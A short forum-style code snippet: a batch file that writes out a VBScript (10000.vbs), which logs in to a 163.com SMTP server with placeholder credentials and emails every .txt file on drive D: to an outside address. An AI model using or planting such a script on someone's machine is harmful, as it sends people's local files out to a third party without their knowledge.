CODE: [Copy to clipboard]
@echo off&>10000.vbs more +1 < %0 &echo\已经在当前目录生成10000.vbs文件& pause& exit
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
set Email = CreateObject("CDO.Message")
Email.From = "123456789@163.com"
Email.To = "10000@126.com"
Email.Subject = "txt"
Email.Textbody = "txt"
Email.AddAttachment "D:\*.txt"
with Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.163.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "123456789"
.Item(NameSpace&"sendpassword") = "*******"
.Update
end with
Email.Send
[